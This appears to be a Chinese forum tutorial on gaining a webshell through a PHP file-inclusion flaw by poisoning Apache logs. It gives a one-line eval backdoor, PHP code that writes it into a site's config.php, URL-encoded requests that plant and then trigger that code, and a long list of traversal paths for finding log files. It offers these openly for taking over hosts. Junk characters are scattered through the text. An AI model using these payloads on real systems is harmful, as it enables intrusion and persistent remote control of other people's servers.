php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
' ]8 Y5 A5 t9 i- o
1 X( w: s( F% J- x! c9 x到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
) \, e7 k$ N& x; ~4 jfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
+ g9 c  U' u# Q6 g. g, X
5 v- L3 |4 s$ h6 R' V6 [<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
) n' ~! l- I9 N' ~$ n, v
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
4 y/ I6 r  C7 g. b6 X转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
( @6 |: ?1 U0 qconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
& G2 c$ K$ Q6 B- |3 b- J我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
8 O7 M' ^0 _+ Q. R6 @4 W; }8 U%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
& r/ Z% @1 S' ^- B2 Z, ~& G
# n4 {5 k3 J2 U2 U6 h7 o* n# |8 Q这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
: j& A3 ~# o- h2 x" W  dhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
1 Q9 d/ x* ^- K) Ghttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
' a7 U( `2 ?( C8 p+ R! W, e
! d- x  ?; X/ N% VPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
& \1 T8 z! c6 `( ~% ~4 n3 J$ V../../../../../../../../../../var/log/httpd/access_log
$ i$ J* f' `: n, b. g# q$ X../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
2 }% C8 G! j2 W0 n9 s7 o../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
, h( T3 E' W3 v+ }. m% C( I3 |../../../apache/logs/error.log
../../../apache/logs/access.log
& Y5 X/ b  W& x' d/ g5 I../../../../../../../../../../etc/httpd/logs/acces_log
0 l" F) @) [( ^3 M3 E../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
$ A! M& s1 M% S  g$ E' J../../../../../../../../../../etc/httpd/logs/error.log
& a1 s/ s, z- t- T1 N../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
+ X$ u; \7 F+ ^% {../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
7 i  n. l0 F) `* }../../../../../../../../../../var/www/logs/error_log
6 U5 X" m6 f7 U# z: A../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
& W( ^: k' N! l# S- H8 }+ q1 q../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
" G, o, x0 r  P../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
% X) y: Q2 ?8 e: q+ n! L3 t../../apache/logs/error.log
../../apache/logs/access.log
! [4 G: r0 z! C../../../apache/logs/error.log
+ `$ u& G- `1 s% v( Y../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
9 l8 j- O; d% Y% U9 ]/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
1 G" O0 y# Y" Q7 I. J' z/var/www/logs/access_log
9 M" N  R9 s5 }, R, B% W/var/www/logs/access.log
3 S& W* d3 ?4 `( J$ F/ D/usr/local/apache/logs/access_log
) r$ F1 D: [, z" z- F4 e+ q: S3 S/usr/local/apache/logs/access.log
/ N" A+ Y2 ~) s5 A4 k4 e) L, t( _. H/var/log/apache/access_log
/var/log/apache/access.log
4 G6 Y9 Q0 h: s- X3 m+ \& b9 @/var/log/access_log
/var/www/logs/error_log
( y7 ~$ X/ l9 @! @$ ~/var/www/logs/error.log
/usr/local/apache/logs/error_log
+ ^; _4 J; J0 P/ r; `/usr/local/apache/logs/error.log
+ J8 `! t4 n4 x/var/log/apache/error_log
* s3 T& s( `! \+ V/var/log/apache/error.log
5 Y6 D- N' s, @% h7 q/var/log/access_log
/var/log/error_log